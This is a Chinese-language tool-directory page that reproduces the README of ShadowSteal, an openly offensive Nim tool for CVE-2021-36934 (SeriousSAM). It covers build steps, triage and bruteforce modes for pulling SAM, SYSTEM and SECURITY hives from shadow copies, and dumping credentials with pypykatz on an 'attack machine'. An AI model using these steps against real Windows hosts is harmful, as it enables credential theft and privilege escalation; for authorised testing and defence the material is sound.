Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ShadowSteal — 用于利用 CVE-2021-36934(SeriousSAM 本地权限提升漏洞)的纯 Nim 实现 | Kitploit
工具/GitHubGitHub/huskyhacks/shadowsteal
权限提升漏洞分析漏洞利用后渗透利用渗透测试红队
GitHubhuskyhacks/shadowsteal

ShadowSteal

用于利用 CVE-2021-36934(SeriousSAM 本地权限提升漏洞)的纯 Nim 实现

查看仓库
21037124年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ShadowSteal | CVE-2021-36934

纯 Nim 实现的 CVE-2021-36934 利用工具,针对 SeriousSAM 本地权限提升(LPE)。目前还谈不上 OPSEC 安全…… ;)。我不声称拥有该漏洞的发现功劳。

快速开始

使用 Docker 构建

得益于 Docker,现在上手 ShadowSteal 比以往任何时候都简单!不想折腾安装 Nim 依赖?交给我吧,伙计!运行 Python 脚本即可创建 Docker 构建环境、编译二进制文件、将其传回宿主机,然后销毁容器。

在宿主机上安装 Docker(不同操作系统的安装方法请查阅官方文档),然后在主目录下运行 ShadowSteal Python 脚本:

$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l

从源码构建

或者,通过安装 Nim 及其依赖,从源码进行构建:

$ sudo apt-get install nim
$ nimble install zippy argparse winim

如果尚未安装 MinGW 工具链,请先安装。

$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l

传输到目标机器...

PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h

概述

由于微软的一些疏忽,在较新的 Windows 版本中,普通用户对 ...\System32\config\ 文件夹中的内容拥有读取权限。除此之外,这意味着低权限用户也能读取 ...\System32\config 中的 SAM、System 和 Security 文件。

1.png

嚯。那我们能拿这个做什么呢?

一些非常敏锐的研究人员(在此向 @jonasLyk 致敬!)注意到,如果 Windows 主机启用了特定的系统还原配置“卷影副本(Volume Shadow Copies)”,那么主机就会存储这些文件的备份副本,并且可以通过这些副本的 Win32 设备命名空间进行访问。

2.png

3.png

在主机运行期间,SAM 通常处于锁定状态,因此访问 ...\System32\config\ 中的 SAM 是根本不可能的。但由于这一配置错误,这些卷影副本对主机上的任何用户来说都是唾手可得的目标。非常棒!

ShadowSteal

ShadowSteal 是一个用 Nim 编写的二进制程序,用于自动枚举并从这些卷影副本中窃取 SAM、System 和 Security 文件。它会遍历卷影副本所有可能存在的位置,一旦找到目标,便将文件提取到一个压缩目录中(可以理解为 Bloodhound 输出)。

4.png

功能特性:

  • Triage 和 Bruteforce 模式,用于彻底或快速的枚举。
  • 自动提取并汇总目标凭据。
  • Jeff Beezy 模式。(等等,什么?)
  • 集成 Docker 构建环境,轻松编译!
  • 枚举所有可用的 HarddiskShadowCopy 位置,动态挑选编号最高的位置,并将其作为利用/提取的目标。

6.png

这没什么惊天动地的,代码也略显粗糙,但它能用,而且构建过程很有趣!

从源码安装

安装 Nim:

$ sudo apt-get install nim

安装依赖:

$ nimble install zippy argparse winim

如果尚未安装 MinGW 工具链,请先安装:

$ sudo apt-get install mingw-w64

为 64 位 Windows 编译:

$ make

传输到目标机器并运行它!

使用方法

PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.

Usage:
   [options]

Options:
  -h, --help
  -t, --triage               [*] Triage mode. Quick enumeration, tries to find quick wins.
  -bf, --bruteforce          [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
  -b, --bezos                [?] Jeff Bezos Mode

Triage 模式

将位置枚举范围限制在 10 到 1,每次尝试依次递减。在大多数环境中快速且有效。

PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t

Bruteforce 模式

搜索所有可能的位置(512),依次递减到 1。尝试此模式以彻底枚举环境。需要几分钟时间。

PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf

解析输出

将输出目录传回你的攻击机,并使用 Pypykatz 提取数据。安装方法:

$ pip3 install pypykatz

运行 Pypykatz:

$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

5.png

版本历史

v.04.01 | Docktastic 更新

现在内置了一个开箱即用的 Docker 构建环境!只需运行 ShadowSteal.py 脚本即可设置 Docker 环境、编译二进制文件、将其传回宿主机,然后销毁构建容器。开箱即用!(需要自行组装,也就是说你需要安装 Docker 才能运行它)。

v.03.69 | N I C E 更新

精简强悍。新增优化编译选项。得益于编译器优化,性能大幅提升,完整的暴力枚举现在几乎瞬间即可完成。非常感谢 @orbitalgun 的伪 PR,荣耀归于你和你的名号!

v.02 JEFF BEEZY 更新

  • Bruteforce 和 Triage 模式
  • 更好的搜索算法
  • 代码清理
  • Jeff Beezy 模式
  • 从首个版本中吸取了大量经验教训!

v.01 首发版本

上车吧各位,这辆破车要开动了。这个版本是我的快速原型,说实话糟透了,哈哈。不过构建起来倒是乐趣无穷! 特点:

  • “能跑”的代码

参考资料

  • 该 CVE 最初由 @jonasLyk 披露。
  • CVE 参考页面
  • 歌词致谢:Bo Burnham 的《Bezos I》。版权所有。

免责声明

  • 仅供合法、合乎道德的使用。

7.png

下载工具